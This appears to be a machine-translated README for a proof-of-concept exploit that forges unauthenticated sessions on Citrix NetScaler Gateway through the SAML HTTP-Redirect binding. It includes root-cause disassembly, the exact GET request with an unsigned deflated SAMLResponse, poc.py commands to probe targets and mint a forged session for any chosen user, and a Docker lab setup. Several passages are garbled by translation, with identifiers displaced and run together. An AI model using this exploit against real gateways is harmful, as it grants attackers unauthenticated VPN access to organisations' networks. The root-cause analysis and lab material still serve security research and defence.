Citrix NetScaler ADC / NetScaler Gateway 上的未认证会话伪造,通过 SAML HTTP-Redirect 绑定处理程序。CVSS 4.0 9.3,CWE-288。 公告CTX696939(2026-08-19),没有任何变通方法。原始报告的署名如下 对萨马斯·瓦希什特(摩根大通渗透测试团队);根本原因分析和 这个仓库里的代码都是我自己做的。GET /cgi/samlauth

受影响:14.1-73.32之前14.1,13.1-63.21。这两个版本都固定了。

根本原因

在分组引擎中,会出现两个问题。nsppe

1. 重定向绑定解析严格标志已清除的断言。

SAML响应解析器的所有调用点()都设置了一个“严格”参数 在接到电话之前。POST 绑定路径(浏览器实际用于 SAML 响应的路径) 传球,设定好。HTTP-重定向绑定路径不满足:sub_b40a50

$ objdump -d -M intel --start-address=0xb7f532 --stop-address=0xb7f558 nsppe-14.1-73.30
  b7f532: 41 b8 00 00 00 00     mov    r8d,0x0          <-- strict OFF
  b7f538: 48 8d 8d d8 fe ff ff  lea    rcx,[rbp-0x128]
  b7f53f: 48 8b 95 b8 fe ff ff  mov    rdx,[rbp-0x148]
  b7f546: 8b b5 cc fe ff ff     mov    esi,[rbp-0x134]
  b7f54c: 48 8b 3d f5 9f 6f 02  mov    rdi,[rip+0x26f9ff5]
  b7f553: e8 f8 14 fc ff        call   b40a50            <-- the parser

这就是CWE-288意义上的备选路径。请求表面相同,解析器更弱 调用,任何能发送带有查询参数的GET的人都能访问。SAMLResponse

2. 无符号断言门将默认配置视为允许。

在重定向处理程序内,当请求没有 /,则 配置词的比较和分支方式如下:SigAlgSignaturerejectUnsignedAssertion

$ objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 nsppe-14.1-73.30
  b7ee3b: 83 78 08 02           cmp    DWORD PTR [rax+0x8],0x2
  b7ee3f: 74 5d                 je     b7ee9e            <-- jumps to the ACCEPT path

字值为:=(默认值),= 。 发送接受。只达到否认对数行:2rejectUnsignedAssertion ON3STRICTje2STRICT

$ strings -t x nsppe-14.1-73.30 | grep 'denying as per action'
  2020998 SAMLIDP: Redirect Binding: Unsigned Assertion seen, denying as per action %s

所以在默认配置框中,交付给重定向绑定的无符号断言是 解析(严格关闭),通过未签名门接受(ON 误读为允许),然后 执行常规的解析后步骤:对发行者/受众/主题进行SAML的检查 先操作配置,然后从攻击者提供的字段构建会话。没有消化,没有 RSA核实,路线上的任何地方都可以。POST 装订则不会受到同样的影响—— 严格传递给解析器,正确拒绝无符号输入。

根据公告,预设条件与二进制相符:14.1-43.56 版本 / 13.1-61.28 起需要绑定到 Gateway 或 AAA 虚拟服务器的 SAML 动作(通常) SAML SSO 设置,所以大多数 SAML 部署都符合条件)。早期建筑记录了路线 仅靠虚拟服务器。

利用形状

一次GET。构建一个没有任何地方的SAML响应,DEFLATE + base64 它,并发送:<ds:Signature>

GET /cgi/samlauth?SAMLResponse=<b64(raw-deflate(xml))>&RelayState=<ctx> HTTP/1.1
Host: <gateway>

必须匹配目标SAML动作配置的值:断言 Issuer = the IdP 实体 ID,Audience = SP 实体 ID,Recipient/Destination = ACS URL,以及 在事务设置中,从实时AuthnRequest中获得InResponseTo。 行走 网关自身的预授权登录重定向以捕获这些(SAMLRequest 在 位置头包含所有这些信息)。302 加上一个真实的 / cookie(不是删除标记)就是伪造会话,随便说什么 你输入的姓名ID。--mint/vpn/NSC_AAACNSC_TASSxyz

用途

pip install requests

# is the endpoint there and does GET binding process SAMLResponse at all
python3 poc.py https://vpn.target.com --check-only

# non-intrusive config probe: unsigned assertion with a deliberately WRONG issuer.
#   'Malformed Assertion' (0xe0005)  -> STRICT, not vulnerable to this vector
#   issuer/policy error (0xe0012)    -> default config, vulnerable; no session minted
python3 poc.py https://vpn.target.com --safe-oracle

# full chain (authorized targets only): mint the SP chain, forge, validate once
python3 poc.py https://vpn.target.com --mint --name-id someone@target.example

--safe-oracle存在是因为这两个配置之前返回的错误页面不同 任何阶段形状的动作都会发生,这也是防守者可以自行检查的方式 触摸真正的IDP患者。和你自己的装备对比。

演示

demo/demo.gif(还有,如果你想玩玩的话):受影响的构建,基于 docker 镜像,Word-2 默认配置, 从被运送的两个二进制分支和PoC端点中拆解出来 有。最后一公里的会话发布需要授权的VPX——CPX Express拒绝 AAA会话在许可层——这才是捕捉时间的 你有一个。demo.mp4demo/demo.castasciinema playnsppelab/record-demo.sh

实验室

lab/setup-cpx.sh在 Docker 里会显示出完全受影响的版本:

docker run -dt --privileged --name cpx19490 -e EULA=YES \
    quay.io/netscaler/netscaler-cpx:14.1-73.30
bash lab/setup-cpx.sh

并配置一个包含 、 策略和 的 SAML 动作 Gateway vserver。有两个是我吃了苦头才知道的:rejectUnsignedAssertion ON

  • CPX Express 不携带 SSLVPN/AAA 用户许可证。vserver 服务,但每个请求都会落在 。够好了 要重现 config + endpoint + 二进制状态,而不是最终会话 cookie。/cgi/samlauth480 Login exceeds maximum allowed users

  • 完整的会话发布运行时,你需要一个带有免费开发者版的VPX 许可证(我的 Citrix → 下载 NetScaler VPX,然后→CTX587663 许可证 flow)。和设置脚本里的CLI一样,然后记录整个过程 Asciinema 序列:版本、配置、Safe-Oracle、伪造会话、严格否定 控制。lab/record-demo.sh

上面的shipped-binary offset直接取自那张图片:

docker cp cpx19490:/var/netscaler/bins/nsppe ./nsppe-14.1-73.30
objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 ./nsppe-14.1-73.30

参考 https://github.com/TarPeg007/CVE-2026-19490